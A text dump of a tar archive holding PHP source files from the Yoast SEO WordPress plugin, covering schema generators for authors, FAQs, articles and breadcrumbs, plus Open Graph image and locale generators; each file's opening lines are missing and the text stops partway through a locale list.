*/
protected function url_social_site( $social_site, $user_id = false ) {
$url = \get_the_author_meta( $social_site, $user_id );
if ( ! empty( $url ) && $social_site === 'twitter' ) {
$url = 'https://x.com/' . $url;
}
return $url;
}
/**
* Checks the site is represented by the same person as this indexable.
*
* @param WP_User|null $user_data User data.
*
* @return bool True when the site is represented by the same person as this indexable.
*/
protected function site_represents_current_author( $user_data = null ) {
// Can only be the case when the site represents a user.
if ( $this->context->site_represents !== 'person' ) {
return false;
}
// Article post from the same user as the site represents.
if (
$this->context->indexable->object_type === 'post'
&& $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type )
&& $this->context->schema_article_type !== 'None'
) {
$user_id = ( $user_data instanceof WP_User && isset( $user_data->ID ) ) ? $user_data->ID : $this->context->indexable->author_id;
return $this->context->site_user_id === $user_id;
}
// Author archive from the same user as the site represents.
return $this->context->indexable->object_type === 'user' && $this->context->site_user_id === $this->context->indexable->object_id;
}
/**
* Builds our SameAs array.
*
* @param array $data The Person schema data.
* @param WP_User $user_data The user data object.
* @param int $user_id The user ID to use.
*
* @return array The Person schema data.
*/
protected function add_same_as_urls( $data, $user_data, $user_id ) {
$same_as_urls = [];
// Add the "Website" field from WordPress' contact info.
if ( ! empty( $user_data->user_url ) ) {
$same_as_urls[] = $user_data->user_url;
}
// Add the social profiles.
$same_as_urls = $this->get_social_profiles( $same_as_urls, $user_id );
if ( ! empty( $same_as_urls ) ) {
$same_as_urls = \array_values( \array_unique( $same_as_urls ) );
$data['sameAs'] = $same_as_urls;
}
return $data;
}
}
generators/schema/faq.php 0000644 00000005643 15207625763 0011462 0 ustar 00 context->blocks['yoast/faq-block'] ) ) {
return false;
}
if ( ! \is_array( $this->context->schema_page_type ) ) {
$this->context->schema_page_type = [ $this->context->schema_page_type ];
}
$this->context->schema_page_type[] = 'FAQPage';
$this->context->main_entity_of_page = $this->generate_ids();
return true;
}
/**
* Generate the IDs so we can link to them in the main entity.
*
* @return array
*/
private function generate_ids() {
$ids = [];
foreach ( $this->context->blocks['yoast/faq-block'] as $block ) {
if ( isset( $block['attrs']['questions'] ) ) {
foreach ( $block['attrs']['questions'] as $question ) {
if ( empty( $question['jsonAnswer'] ) ) {
continue;
}
$ids[] = [ '@id' => $this->context->canonical . '#' . \esc_attr( $question['id'] ) ];
}
}
}
return $ids;
}
/**
* Render a list of questions, referencing them by ID.
*
* @return array Our Schema graph.
*/
public function generate() {
$graph = [];
$questions = [];
foreach ( $this->context->blocks['yoast/faq-block'] as $block ) {
if ( isset( $block['attrs']['questions'] ) ) {
$questions = \array_merge( $questions, $block['attrs']['questions'] );
}
}
foreach ( $questions as $index => $question ) {
if ( ! isset( $question['jsonAnswer'] ) || empty( $question['jsonAnswer'] ) ) {
continue;
}
$graph[] = $this->generate_question_block( $question, ( $index + 1 ) );
}
return $graph;
}
/**
* Generate a Question piece.
*
* @param array $question The question to generate schema for.
* @param int $position The position of the question.
*
* @return array Schema.org Question piece.
*/
protected function generate_question_block( $question, $position ) {
$url = $this->context->canonical . '#' . \esc_attr( $question['id'] );
$data = [
'@type' => 'Question',
'@id' => $url,
'position' => $position,
'url' => $url,
'name' => $this->helpers->schema->html->smart_strip_tags( $question['jsonQuestion'] ),
'answerCount' => 1,
'acceptedAnswer' => $this->add_accepted_answer_property( $question ),
];
return $this->helpers->schema->language->add_piece_language( $data );
}
/**
* Adds the Questions `acceptedAnswer` property.
*
* @param array $question The question to add the acceptedAnswer to.
*
* @return array Schema.org Question piece.
*/
protected function add_accepted_answer_property( $question ) {
$data = [
'@type' => 'Answer',
'text' => $this->helpers->schema->html->sanitize( $question['jsonAnswer'] ),
];
return $this->helpers->schema->language->add_piece_language( $data );
}
}
generators/schema/article.php 0000644 00000016245 15207625763 0012336 0 ustar 00 context->indexable->object_type !== 'post' ) {
return false;
}
// If we cannot output an author, we shouldn't output an Article.
if ( ! $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) ) {
return false;
}
if ( $this->context->schema_article_type !== 'None' ) {
$this->context->has_article = true;
return true;
}
return false;
}
/**
* Returns Article data.
*
* @return array Article data.
*/
public function generate() {
$author = \get_userdata( $this->context->post->post_author );
$data = [
'@type' => $this->context->schema_article_type,
'@id' => $this->context->canonical . Schema_IDs::ARTICLE_HASH,
'isPartOf' => [ '@id' => $this->context->main_schema_id ],
'author' => [
'name' => ( $author instanceof WP_User ) ? $this->helpers->schema->html->smart_strip_tags( $author->display_name ) : '',
'@id' => $this->helpers->schema->id->get_user_schema_id( $this->context->post->post_author, $this->context ),
],
'headline' => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ),
'datePublished' => $this->helpers->date->format( $this->context->post->post_date_gmt ),
];
if ( \strtotime( $this->context->post->post_modified_gmt ) > \strtotime( $this->context->post->post_date_gmt ) ) {
$data['dateModified'] = $this->helpers->date->format( $this->context->post->post_modified_gmt );
}
$data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id ];
$data['wordCount'] = $this->word_count( $this->context->post->post_content, $this->context->post->post_title );
if ( $this->context->post->comment_status === 'open' ) {
$data['commentCount'] = \intval( $this->context->post->comment_count, 10 );
}
if ( $this->context->site_represents_reference ) {
$data['publisher'] = $this->context->site_represents_reference;
}
$data = $this->add_image( $data );
$data = $this->add_keywords( $data );
$data = $this->add_sections( $data );
$data = $this->helpers->schema->language->add_piece_language( $data );
if ( \post_type_supports( $this->context->post->post_type, 'comments' ) && $this->context->post->comment_status === 'open' ) {
$data = $this->add_potential_action( $data );
}
return $data;
}
/**
* Adds tags as keywords, if tags are assigned.
*
* @param array $data Article data.
*
* @return array Article data.
*/
private function add_keywords( $data ) {
/**
* Filter: 'wpseo_schema_article_keywords_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data.
*
* @param string $taxonomy The chosen taxonomy.
*/
$taxonomy = \apply_filters( 'wpseo_schema_article_keywords_taxonomy', 'post_tag' );
return $this->add_terms( $data, 'keywords', $taxonomy );
}
/**
* Adds categories as sections, if categories are assigned.
*
* @param array $data Article data.
*
* @return array Article data.
*/
private function add_sections( $data ) {
/**
* Filter: 'wpseo_schema_article_sections_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data.
*
* @param string $taxonomy The chosen taxonomy.
*/
$taxonomy = \apply_filters( 'wpseo_schema_article_sections_taxonomy', 'category' );
return $this->add_terms( $data, 'articleSection', $taxonomy );
}
/**
* Adds a term or multiple terms, comma separated, to a field.
*
* @param array $data Article data.
* @param string $key The key in data to save the terms in.
* @param string $taxonomy The taxonomy to retrieve the terms from.
*
* @return mixed Article data.
*/
protected function add_terms( $data, $key, $taxonomy ) {
$terms = \get_the_terms( $this->context->id, $taxonomy );
if ( ! \is_array( $terms ) ) {
return $data;
}
$callback = static function ( $term ) {
// We are using the WordPress internal translation.
return $term->name !== \__( 'Uncategorized', 'default' );
};
$terms = \array_filter( $terms, $callback );
if ( empty( $terms ) ) {
return $data;
}
$data[ $key ] = \wp_list_pluck( $terms, 'name' );
return $data;
}
/**
* Adds an image node if the post has a featured image.
*
* @param array $data The Article data.
*
* @return array The Article data.
*/
private function add_image( $data ) {
if ( $this->context->main_image_url !== null ) {
$data['image'] = [
'@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH,
];
$data['thumbnailUrl'] = $this->context->main_image_url;
}
return $data;
}
/**
* Adds the potential action property to the Article Schema piece.
*
* @param array $data The Article data.
*
* @return array The Article data with the potential action added.
*/
private function add_potential_action( $data ) {
/**
* Filter: 'wpseo_schema_article_potential_action_target' - Allows filtering of the schema Article potentialAction target.
*
* @param array $targets The URLs for the Article potentialAction target.
*/
$targets = \apply_filters( 'wpseo_schema_article_potential_action_target', [ $this->context->canonical . '#respond' ] );
$data['potentialAction'][] = [
'@type' => 'CommentAction',
'name' => 'Comment',
'target' => $targets,
];
return $data;
}
/**
* Does a simple word count but tries to be relatively smart about it.
*
* @param string $post_content The post content.
* @param string $post_title The post title.
*
* @return int The number of words in the content.
*/
private function word_count( $post_content, $post_title = '' ) {
// Add the title to our word count.
$post_content = $post_title . ' ' . $post_content;
// Strip pre/code blocks and their content.
$post_content = \preg_replace( '@<(pre|code)[^>]*?>.*?@si', '', $post_content );
// Add space between tags that don't have it.
$post_content = \preg_replace( '@><@', '> <', $post_content );
// Strips all other tags.
$post_content = \wp_strip_all_tags( $post_content );
$characters = '';
if ( \preg_match( '@[а-я]@ui', $post_content ) ) {
// Correct counting of the number of words in the Russian and Ukrainian languages.
$alphabet = [
'ru' => 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя',
'ua' => 'абвгґдеєжзиіїйклмнопрстуфхцчшщьюя',
];
$characters = \implode( '', $alphabet );
$characters = \preg_split( '//u', $characters, -1, \PREG_SPLIT_NO_EMPTY );
$characters = \array_unique( $characters );
$characters = \implode( '', $characters );
$characters .= \mb_strtoupper( $characters );
}
// Remove characters from HTML entities.
$post_content = \preg_replace( '@&[a-z0-9]+;@i', ' ', \htmlentities( $post_content ) );
return \str_word_count( $post_content, 0, $characters );
}
}
generators/schema/author.php 0000644 00000005736 15207625763 0012220 0 ustar 00 context->indexable->object_type === 'user' ) {
return true;
}
if (
$this->context->indexable->object_type === 'post'
&& $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type )
&& $this->context->schema_article_type !== 'None'
) {
return true;
}
return false;
}
/**
* Returns Person Schema data.
*
* @return bool|array Person data on success, false on failure.
*/
public function generate() {
$user_id = $this->determine_user_id();
if ( ! $user_id ) {
return false;
}
$data = $this->build_person_data( $user_id );
if ( $this->site_represents_current_author() === false ) {
$data['@type'] = [ 'Person' ];
unset( $data['logo'] );
}
// If this is an author page, the Person object is the main object, so we set it as such here.
if ( $this->context->indexable->object_type === 'user' ) {
$data['mainEntityOfPage'] = [
'@id' => $this->context->main_schema_id,
];
}
// If this is a post and the author archives are enabled, set the author archive url as the author url.
if ( $this->context->indexable->object_type === 'post' ) {
if ( $this->helpers->options->get( 'disable-author' ) !== true ) {
$data['url'] = $this->helpers->user->get_the_author_posts_url( $user_id );
}
}
return $data;
}
/**
* Determines a User ID for the Person data.
*
* @return bool|int User ID or false upon return.
*/
protected function determine_user_id() {
$user_id = 0;
if ( $this->context->indexable->object_type === 'post' ) {
$user_id = (int) $this->context->post->post_author;
}
if ( $this->context->indexable->object_type === 'user' ) {
$user_id = $this->context->indexable->object_id;
}
/**
* Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output.
*
* @param int|bool $user_id The user ID currently determined.
*/
$user_id = \apply_filters( 'wpseo_schema_person_user_id', $user_id );
if ( \is_int( $user_id ) && $user_id > 0 ) {
return $user_id;
}
return false;
}
/**
* An author should not have an image from options, this only applies to persons.
*
* @param array $data The Person schema.
* @param string $schema_id The string used in the `@id` for the schema.
* @param bool $add_hash Whether or not the person's image url hash should be added to the image id.
* @param WP_User|null $user_data User data.
*
* @return array The Person schema.
*/
protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) {
if ( $this->site_represents_current_author( $user_data ) ) {
return parent::set_image_from_options( $data, $schema_id, $add_hash, $user_data );
}
return $data;
}
}
generators/schema/breadcrumb.php 0000644 00000012070 15207625763 0013011 0 ustar 00 context->indexable->object_type === 'unknown' ) {
return false;
}
if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) {
return false;
}
return true;
}
/**
* Returns Schema breadcrumb data to allow recognition of page's position in the site hierarchy.
*
* @link https://developers.google.com/search/docs/data-types/breadcrumb
*
* @return bool|array Array on success, false on failure.
*/
public function generate() {
$breadcrumbs = $this->context->presentation->breadcrumbs;
$list_elements = [];
// In case of pagination, replace the last breadcrumb, because it only contains "Page [number]" and has no URL.
if (
(
$this->helpers->current_page->is_paged()
|| $this->context->indexable->number_of_pages > 1
) && (
// Do not replace the last breadcrumb on static post pages.
! $this->helpers->current_page->is_static_posts_page()
// Do not remove the last breadcrumb if only one exists (bugfix for custom paginated frontpages).
&& \count( $breadcrumbs ) > 1
)
) {
\array_pop( $breadcrumbs );
}
// Only output breadcrumbs that are not hidden.
$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_hidden' ] );
\reset( $breadcrumbs );
/*
* Check whether at least one of the breadcrumbs is broken.
* If so, do not output anything.
*/
foreach ( $breadcrumbs as $breadcrumb ) {
if ( $this->is_broken( $breadcrumb ) ) {
return false;
}
}
// Create the last breadcrumb.
$last_breadcrumb = \array_pop( $breadcrumbs );
$breadcrumbs[] = $this->format_last_breadcrumb( $last_breadcrumb );
// If this is a static front page, prevent nested pages from creating a trail.
if ( $this->helpers->current_page->is_home_static_page() ) {
// Check if we're dealing with a nested page.
if ( \count( $breadcrumbs ) > 1 ) {
// Store the breadcrumbs home variable before dropping the parent page from the Schema.
$breadcrumbs_home = $breadcrumbs[0]['text'];
$breadcrumbs = [ \array_pop( $breadcrumbs ) ];
// Make the child page show the breadcrumbs home variable rather than its own title.
$breadcrumbs[0]['text'] = $breadcrumbs_home;
}
}
$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_empty_text' ] );
$breadcrumbs = \array_values( $breadcrumbs );
// Create intermediate breadcrumbs.
foreach ( $breadcrumbs as $index => $breadcrumb ) {
$list_elements[] = $this->create_breadcrumb( $index, $breadcrumb );
}
return [
'@type' => 'BreadcrumbList',
'@id' => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH,
'itemListElement' => $list_elements,
];
}
/**
* Returns a breadcrumb array.
*
* @param int $index The position in the list.
* @param array $breadcrumb The position in the list.
*
* @return array A breadcrumb listItem.
*/
private function create_breadcrumb( $index, $breadcrumb ) {
$crumb = [
'@type' => 'ListItem',
'position' => ( $index + 1 ),
'name' => $this->helpers->schema->html->smart_strip_tags( $breadcrumb['text'] ),
];
if ( ! empty( $breadcrumb['url'] ) ) {
$crumb['item'] = $breadcrumb['url'];
}
return $crumb;
}
/**
* Creates the last breadcrumb in the breadcrumb list, omitting the URL per Google's spec.
*
* @link https://developers.google.com/search/docs/data-types/breadcrumb
*
* @param array $breadcrumb The position in the list.
*
* @return array The last of the breadcrumbs.
*/
private function format_last_breadcrumb( $breadcrumb ) {
unset( $breadcrumb['url'] );
return $breadcrumb;
}
/**
* Tests if the breadcrumb is broken.
* A breadcrumb is considered broken:
* - when it is not an array.
* - when it has no URL or text.
*
* @param array $breadcrumb The breadcrumb to test.
*
* @return bool `true` if the breadcrumb is broken.
*/
private function is_broken( $breadcrumb ) {
// A breadcrumb is broken if it is not an array.
if ( ! \is_array( $breadcrumb ) ) {
return true;
}
// A breadcrumb is broken if it does not contain a URL or text.
if ( ! \array_key_exists( 'url', $breadcrumb ) || ! \array_key_exists( 'text', $breadcrumb ) ) {
return true;
}
return false;
}
/**
* Checks whether the breadcrumb is not set to be hidden.
*
* @param array $breadcrumb The breadcrumb array.
*
* @return bool If the breadcrumb should not be hidden.
*/
private function not_hidden( $breadcrumb ) {
return empty( $breadcrumb['hide_in_schema'] );
}
/**
* Checks whether the breadcrumb has a not empty text.
*
* @param array $breadcrumb The breadcrumb array.
*
* @return bool If the breadcrumb has a not empty text.
*/
private function not_empty_text( $breadcrumb ) {
return ! empty( $breadcrumb['text'] );
}
}
generators/open-graph-image-generator.php 0000644 00000014116 15207625763 0014552 0 ustar 00 open_graph_image = $open_graph_image;
$this->image = $image;
$this->options = $options;
$this->url = $url;
}
/**
* Retrieves the images for an indexable.
*
* For legacy reasons some plugins might expect we filter a WPSEO_Opengraph_Image object. That might cause
* type errors. This is why we try/catch our filters.
*
* @param Meta_Tags_Context $context The context.
*
* @return array The images.
*/
public function generate( Meta_Tags_Context $context ) {
$image_container = $this->get_image_container();
$backup_image_container = $this->get_image_container();
try {
/**
* Filter: wpseo_add_opengraph_images - Allow developers to add images to the Open Graph tags.
*
* @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
*/
\apply_filters( 'wpseo_add_opengraph_images', $image_container );
} catch ( Error $error ) {
$image_container = $backup_image_container;
}
$this->add_from_indexable( $context->indexable, $image_container );
$backup_image_container = $image_container;
try {
/**
* Filter: wpseo_add_opengraph_additional_images - Allows to add additional images to the Open Graph tags.
*
* @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
*/
\apply_filters( 'wpseo_add_opengraph_additional_images', $image_container );
} catch ( Error $error ) {
$image_container = $backup_image_container;
}
$this->add_from_templates( $context, $image_container );
$this->add_from_default( $image_container );
return $image_container->get_images();
}
/**
* Retrieves the images for an author archive indexable.
*
* This is a custom method to address the case of Author Archives, since they always have an Open Graph image
* set in the indexable (even if it is an empty default Gravatar).
*
* @param Meta_Tags_Context $context The context.
*
* @return array The images.
*/
public function generate_for_author_archive( Meta_Tags_Context $context ) {
$image_container = $this->get_image_container();
$this->add_from_templates( $context, $image_container );
if ( $image_container->has_images() ) {
return $image_container->get_images();
}
return $this->generate( $context );
}
/**
* Adds an image based on the given indexable.
*
* @param Indexable $indexable The indexable.
* @param Images $image_container The image container.
*
* @return void
*/
protected function add_from_indexable( Indexable $indexable, Images $image_container ) {
if ( $indexable->open_graph_image_meta ) {
$image_container->add_image_by_meta( $indexable->open_graph_image_meta );
return;
}
if ( $indexable->open_graph_image_id ) {
$image_container->add_image_by_id( $indexable->open_graph_image_id );
return;
}
if ( $indexable->open_graph_image ) {
$meta_data = [];
if ( $indexable->open_graph_image_meta && \is_string( $indexable->open_graph_image_meta ) ) {
$meta_data = \json_decode( $indexable->open_graph_image_meta, true );
}
$image_container->add_image(
\array_merge(
(array) $meta_data,
[
'url' => $indexable->open_graph_image,
],
),
);
}
}
/**
* Retrieves the default Open Graph image.
*
* @param Images $image_container The image container.
*
* @return void
*/
protected function add_from_default( Images $image_container ) {
if ( $image_container->has_images() ) {
return;
}
$default_image_id = $this->options->get( 'og_default_image_id', '' );
if ( $default_image_id ) {
$image_container->add_image_by_id( $default_image_id );
return;
}
$default_image_url = $this->options->get( 'og_default_image', '' );
if ( $default_image_url ) {
$image_container->add_image_by_url( $default_image_url );
}
}
/**
* Retrieves the default Open Graph image.
*
* @param Meta_Tags_Context $context The context.
* @param Images $image_container The image container.
*
* @return void
*/
protected function add_from_templates( Meta_Tags_Context $context, Images $image_container ) {
if ( $image_container->has_images() ) {
return;
}
if ( $context->presentation->open_graph_image_id ) {
$image_container->add_image_by_id( $context->presentation->open_graph_image_id );
return;
}
if ( $context->presentation->open_graph_image ) {
$image_container->add_image_by_url( $context->presentation->open_graph_image );
}
}
/**
* Retrieves an instance of the image container.
*
* @codeCoverageIgnore
*
* @return Images The image container.
*/
protected function get_image_container() {
$image_container = new Images( $this->image, $this->url );
$image_container->set_helpers( $this->open_graph_image );
return $image_container;
}
}
generators/breadcrumbs-generator.php 0000644 00000031172 15207625763 0013724 0 ustar 00 repository = $repository;
$this->options = $options;
$this->current_page_helper = $current_page_helper;
$this->post_type_helper = $post_type_helper;
$this->url_helper = $url_helper;
$this->pagination_helper = $pagination_helper;
}
/**
* Generates the breadcrumbs.
*
* @param Meta_Tags_Context $context The meta tags context.
*
* @return array> An array of associative arrays that each have a 'text' and a 'url'.
*/
public function generate( Meta_Tags_Context $context ) {
$static_ancestors = [];
$breadcrumbs_home = $this->options->get( 'breadcrumbs-home' );
if ( $breadcrumbs_home !== '' && ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
$front_page_id = $this->current_page_helper->get_front_page_id();
if ( $front_page_id === 0 ) {
$home_page_ancestor = $this->repository->find_for_home_page();
if ( \is_a( $home_page_ancestor, Indexable::class ) ) {
$static_ancestors[] = $home_page_ancestor;
}
}
else {
$static_ancestor = $this->repository->find_by_id_and_type( $front_page_id, 'post' );
if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
$static_ancestors[] = $static_ancestor;
}
}
}
$page_for_posts = \get_option( 'page_for_posts' );
if ( $this->should_have_blog_crumb( $page_for_posts, $context ) ) {
$static_ancestor = $this->repository->find_by_id_and_type( $page_for_posts, 'post' );
if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
$static_ancestors[] = $static_ancestor;
}
}
if (
$context->indexable->object_type === 'post'
&& $context->indexable->object_sub_type !== 'post'
&& $context->indexable->object_sub_type !== 'page'
&& $this->post_type_helper->has_archive( $context->indexable->object_sub_type )
) {
$static_ancestor = $this->repository->find_for_post_type_archive( $context->indexable->object_sub_type );
if ( \is_a( $static_ancestor, Indexable::class ) ) {
$static_ancestors[] = $static_ancestor;
}
}
if ( $context->indexable->object_type === 'term' ) {
$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
if ( $parent && $parent !== 'post' && $this->post_type_helper->has_archive( $parent ) ) {
$static_ancestor = $this->repository->find_for_post_type_archive( $parent );
if ( \is_a( $static_ancestor, Indexable::class ) ) {
$static_ancestors[] = $static_ancestor;
}
}
}
$indexables = [];
if ( ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
// Get all ancestors of the indexable and append itself to get all indexables in the full crumb.
$indexables = $this->repository->get_ancestors( $context->indexable );
}
$indexables[] = $context->indexable;
if ( ! empty( $static_ancestors ) ) {
\array_unshift( $indexables, ...$static_ancestors );
}
$indexables = \apply_filters( 'wpseo_breadcrumb_indexables', $indexables, $context );
$indexables = \is_array( $indexables ) ? $indexables : [];
$indexables = \array_filter(
$indexables,
static function ( $indexable ) {
return \is_a( $indexable, Indexable::class );
},
);
$crumbs = \array_map( [ $this, 'get_post_type_crumb' ], $indexables );
if ( $breadcrumbs_home !== '' ) {
$crumbs[0]['text'] = $breadcrumbs_home;
}
$crumbs = $this->add_paged_crumb( $crumbs, $context->indexable );
/**
* Filter: 'wpseo_breadcrumb_links' - Allow the developer to filter the Yoast SEO breadcrumb links, add to them, change order, etc.
*
* @param array $crumbs The crumbs array.
*/
$filtered_crumbs = \apply_filters( 'wpseo_breadcrumb_links', $crumbs );
// Basic check to make sure the filtered crumbs are in an array.
if ( ! \is_array( $filtered_crumbs ) ) {
\_doing_it_wrong(
'Filter: \'wpseo_breadcrumb_links\'',
'The `wpseo_breadcrumb_links` filter should return a multi-dimensional array.',
'YoastSEO v20.0',
);
}
else {
$crumbs = $filtered_crumbs;
}
$filter_callback = static function ( $link_info, $index ) use ( $crumbs ) {
/**
* Filter: 'wpseo_breadcrumb_single_link_info' - Allow developers to filter the Yoast SEO Breadcrumb link information.
*
* @param array $link_info The breadcrumb link information.
* @param int $index The index of the breadcrumb in the list.
* @param array $crumbs The complete list of breadcrumbs.
*/
return \apply_filters( 'wpseo_breadcrumb_single_link_info', $link_info, $index, $crumbs );
};
return \array_map( $filter_callback, $crumbs, \array_keys( $crumbs ) );
}
/**
* Returns the modified post crumb.
*
* @param string[] $crumb The crumb.
* @param Indexable $ancestor The indexable.
*
* @return array The crumb.
*/
private function get_post_crumb( $crumb, $ancestor ) {
$crumb['id'] = $ancestor->object_id;
return $crumb;
}
/**
* Adds the correct ID to the crumb array based on the ancestor provided.
*
* @param Indexable $ancestor The ancestor indexable.
*
* @return string[]
*/
private function get_post_type_crumb( Indexable $ancestor ) {
$crumb = [
'url' => $ancestor->permalink,
'text' => $ancestor->breadcrumb_title,
];
switch ( $ancestor->object_type ) {
case 'post':
$crumb = $this->get_post_crumb( $crumb, $ancestor );
break;
case 'post-type-archive':
$crumb = $this->get_post_type_archive_crumb( $crumb, $ancestor );
break;
case 'term':
$crumb = $this->get_term_crumb( $crumb, $ancestor );
break;
case 'system-page':
$crumb = $this->get_system_page_crumb( $crumb, $ancestor );
break;
case 'user':
$crumb = $this->get_user_crumb( $crumb, $ancestor );
break;
case 'date-archive':
$crumb = $this->get_date_archive_crumb( $crumb );
break;
default:
// Handle unknown object types (optional).
break;
}
return $crumb;
}
/**
* Returns the modified post type crumb.
*
* @param string[] $crumb The crumb.
* @param Indexable $ancestor The indexable.
*
* @return string[] The crumb.
*/
private function get_post_type_archive_crumb( $crumb, $ancestor ) {
$crumb['ptarchive'] = $ancestor->object_sub_type;
return $crumb;
}
/**
* Returns the modified term crumb.
*
* @param string[] $crumb The crumb.
* @param Indexable $ancestor The indexable.
*
* @return array The crumb.
*/
private function get_term_crumb( $crumb, $ancestor ) {
$crumb['term_id'] = $ancestor->object_id;
$crumb['taxonomy'] = $ancestor->object_sub_type;
return $crumb;
}
/**
* Returns the modified system page crumb.
*
* @param string[] $crumb The crumb.
* @param Indexable $ancestor The indexable.
*
* @return string[] The crumb.
*/
private function get_system_page_crumb( $crumb, $ancestor ) {
if ( $ancestor->object_sub_type === 'search-result' ) {
$crumb['text'] = $this->options->get( 'breadcrumbs-searchprefix' ) . ' ' . \esc_html( \get_search_query() );
$crumb['url'] = \get_search_link();
}
elseif ( $ancestor->object_sub_type === '404' ) {
$crumb['text'] = $this->options->get( 'breadcrumbs-404crumb' );
}
return $crumb;
}
/**
* Returns the modified user crumb.
*
* @param string[] $crumb The crumb.
* @param Indexable $ancestor The indexable.
*
* @return string[] The crumb.
*/
private function get_user_crumb( $crumb, $ancestor ) {
$display_name = \get_the_author_meta( 'display_name', $ancestor->object_id );
$crumb['text'] = $this->options->get( 'breadcrumbs-archiveprefix' ) . ' ' . $display_name;
return $crumb;
}
/**
* Returns the modified date archive crumb.
*
* @param string[] $crumb The crumb.
*
* @return string[] The crumb.
*/
protected function get_date_archive_crumb( $crumb ) {
$home_url = $this->url_helper->home();
$prefix = $this->options->get( 'breadcrumbs-archiveprefix' );
if ( \is_day() ) {
$day = \esc_html( \get_the_date() );
$crumb['url'] = $home_url . \get_the_date( 'Y/m/d' ) . '/';
$crumb['text'] = $prefix . ' ' . $day;
}
elseif ( \is_month() ) {
$month = \esc_html( \trim( \single_month_title( ' ', false ) ) );
$crumb['url'] = $home_url . \get_the_date( 'Y/m' ) . '/';
$crumb['text'] = $prefix . ' ' . $month;
}
elseif ( \is_year() ) {
$year = \get_the_date( 'Y' );
$crumb['url'] = $home_url . $year . '/';
$crumb['text'] = $prefix . ' ' . $year;
}
return $crumb;
}
/**
* Returns whether or not a blog crumb should be added.
*
* @param int $page_for_posts The page for posts ID.
* @param Meta_Tags_Context $context The meta tags context.
*
* @return bool Whether or not a blog crumb should be added.
*/
protected function should_have_blog_crumb( $page_for_posts, $context ) {
// When there is no page configured as blog page.
if ( \get_option( 'show_on_front' ) !== 'page' || ! $page_for_posts ) {
return false;
}
if ( $context->indexable->object_type === 'term' ) {
$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
return $parent === 'post';
}
if ( $this->options->get( 'breadcrumbs-display-blog-page' ) !== true ) {
return false;
}
// When the current page is the home page, searchpage or isn't a singular post.
if ( \is_home() || \is_search() || ! \is_singular( 'post' ) ) {
return false;
}
return true;
}
/**
* Returns the post type parent of a given taxonomy.
*
* @param string $taxonomy The taxonomy.
*
* @return string|false The parent if it exists, false otherwise.
*/
protected function get_taxonomy_post_type_parent( $taxonomy ) {
$parent = $this->options->get( 'taxonomy-' . $taxonomy . '-ptparent' );
if ( empty( $parent ) || (string) $parent === '0' ) {
return false;
}
return $parent;
}
/**
* Adds a crumb for the current page, if we're on an archive page or paginated post.
*
* @param string[] $crumbs The array of breadcrumbs.
* @param Indexable $current_indexable The current indexable.
*
* @return string[] The breadcrumbs.
*/
protected function add_paged_crumb( array $crumbs, $current_indexable ) {
$is_simple_page = $this->current_page_helper->is_simple_page();
// If we're not on a paged page do nothing.
if ( ! $is_simple_page && ! $this->current_page_helper->is_paged() ) {
return $crumbs;
}
// If we're not on a paginated post do nothing.
if ( $is_simple_page && $current_indexable->number_of_pages === null ) {
return $crumbs;
}
$current_page_number = $this->pagination_helper->get_current_page_number();
if ( $current_page_number <= 1 ) {
return $crumbs;
}
$crumbs[] = [
'text' => \sprintf(
/* translators: %s expands to the current page number */
\__( 'Page %s', 'wordpress-seo' ),
$current_page_number,
),
];
return $crumbs;
}
}
generators/open-graph-locale-generator.php 0000644 00000012767 15207625763 0014741 0 ustar 00 'ca_ES',
'en' => 'en_US',
'el' => 'el_GR',
'et' => 'et_EE',
'ja' => 'ja_JP',
'sq' => 'sq_AL',
'uk' => 'uk_UA',
'vi' => 'vi_VN',
'zh' => 'zh_CN',
];
if ( isset( $fix_locales[ $locale ] ) ) {
return $fix_locales[ $locale ];
}
// Convert locales like "es" to "es_ES", in case that works for the given locale (sometimes it does).
if ( \strlen( $locale ) === 2 ) {
$locale = \strtolower( $locale ) . '_' . \strtoupper( $locale );
}
// These are the locales FB supports.
$fb_valid_fb_locales = [
'af_ZA', // Afrikaans.
'ak_GH', // Akan.
'am_ET', // Amharic.
'ar_AR', // Arabic.
'as_IN', // Assamese.
'ay_BO', // Aymara.
'az_AZ', // Azerbaijani.
'be_BY', // Belarusian.
'bg_BG', // Bulgarian.
'bp_IN', // Bhojpuri.
'bn_IN', // Bengali.
'br_FR', // Breton.
'bs_BA', // Bosnian.
'ca_ES', // Catalan.
'cb_IQ', // Sorani Kurdish.
'ck_US', // Cherokee.
'co_FR', // Corsican.
'cs_CZ', // Czech.
'cx_PH', // Cebuano.
'cy_GB', // Welsh.
'da_DK', // Danish.
'de_DE', // German.
'el_GR', // Greek.
'en_GB', // English (UK).
'en_PI', // English (Pirate).
'en_UD', // English (Upside Down).
'en_US', // English (US).
'em_ZM',
'eo_EO', // Esperanto.
'es_ES', // Spanish (Spain).
'es_LA', // Spanish.
'es_MX', // Spanish (Mexico).
'et_EE', // Estonian.
'eu_ES', // Basque.
'fa_IR', // Persian.
'fb_LT', // Leet Speak.
'ff_NG', // Fulah.
'fi_FI', // Finnish.
'fo_FO', // Faroese.
'fr_CA', // French (Canada).
